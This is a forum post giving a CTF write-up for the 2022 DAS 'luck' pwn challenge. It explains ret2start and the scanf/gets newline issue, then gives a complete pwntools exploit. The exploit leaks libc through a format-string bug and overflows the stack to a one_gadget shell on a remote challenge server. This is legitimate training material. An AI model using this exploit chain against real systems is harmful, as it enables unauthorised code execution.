首页
社区
课程
招聘
[原创]【2022das“战疫”】luck
2022-4-28 19:12 8799

[原创]【2022das“战疫”】luck

2022-4-28 19:12
8799

题目链接

学到的知识

(1)ret2start

 

有些时候返回到main函数会有问题(个人认为是各种缓冲区的问题),这个时候回到start刷新一下缓冲区就好

 

(2)gets函数被输出缓冲区的‘\n’卡死

 

不知道大家在学c语言的时候有没有写过下面这行代码

1
2
3
4
5
6
7
8
9
10
#include<iostream>
using namespace std;
int main()
{
    int n;
    char s[50];
    scanf("%d",&n);
    gets(s);
    return 0;
}

运行会发现读完n之后没法读入s

 

这是怎么一回事呢?

 

img

 

把这个编译之后放gdb里,可以看见缓冲区末尾有一个'\n'

 

我们知道scanf在%s的格式化读入下是不会读'\n'的,并且它读到'\n'和就停止了(也可以说才会停止,所以不能用send来避免),就是这个未读的'\n'卡死了我们的gets

 

那么这么写就好啦:

1
2
3
4
5
6
7
8
9
10
11
#include<iostream>
using namespace std;
int main()
{
    int n;
    char s[50];
    scanf("%d",&n);
    getchar();
    gets(s);
    return 0;
}

版本

2.23-11_3

保护

img

main

img

game

img

 

这个意味着我们要写一个类爆破的while循环

fmt

img

 

存在一个栈溢出的fmt,那么可以泄露libc然后ret2start,然后到fmt再次溢出到onegadget或者其它后门

overflow

这个压根没用上。。。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
##context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
ret=0x400679
libc=ELF('./libc-2.23.so')
 
one=[0x45226,0x4527a,0xf03a4,0xf1247]
 
 
def z(r):
    gdb.attach(r)
 
def exp():
    ##r=process('./luck')
    r=remote('39.99.242.16',10000)
    r.recvuntil("good luck\n")
    string=r.recvuntil('\n',drop=True)
    if string == "fmt" :
        pd='%{}$p'.format(0x1d+6)
        pd=pd.ljust(0x78,'a')
        pd+=p64(0x400740)
        ##z(r)
        r.sendline(pd)
        libcbase=int(r.recvuntil('aa')[:-2],16)-(libc.sym['__libc_start_main']+240)
        log.success('libcbase:'+hex(libcbase))
        onegadget=one[0]+libcbase
        r.recvuntil("good luck\n")
        string=r.recvuntil('\n',drop=True)
        pd=''
        if string == "fmt" :
           pd="a"*0x78
        else :
           pd='a'*0x58
        pd+=p64(onegadget)
        r.sendline(pd)
        r.interactive()
        exit(0)
 
exp()
'''
while True:
    try:
       exp()
    except:
       break
 
'''

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-5-1 19:47 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (3)
雪    币: 3451
活跃值: (6047)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
e*16 a 2 2022-4-30 16:32
2
0
题目附件垃圾的要死
雪    币: 19586
活跃值: (60098)
能力值: (RANK:125 )
在线值:
发帖
回帖
粉丝
Editor 2022-5-1 19:22
3
0

建议上传附件,在这里上传,单个不能超过8M:

雪    币: 6398
活跃值: (10599)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
Nameless_a 5 2022-5-1 19:40
4
0
Editor 建议上传附件,在这里上传,单个不能超过8M:
ooo搞忘记这题官方没给libc了orz
游客
登录 | 注册 方可回帖
返回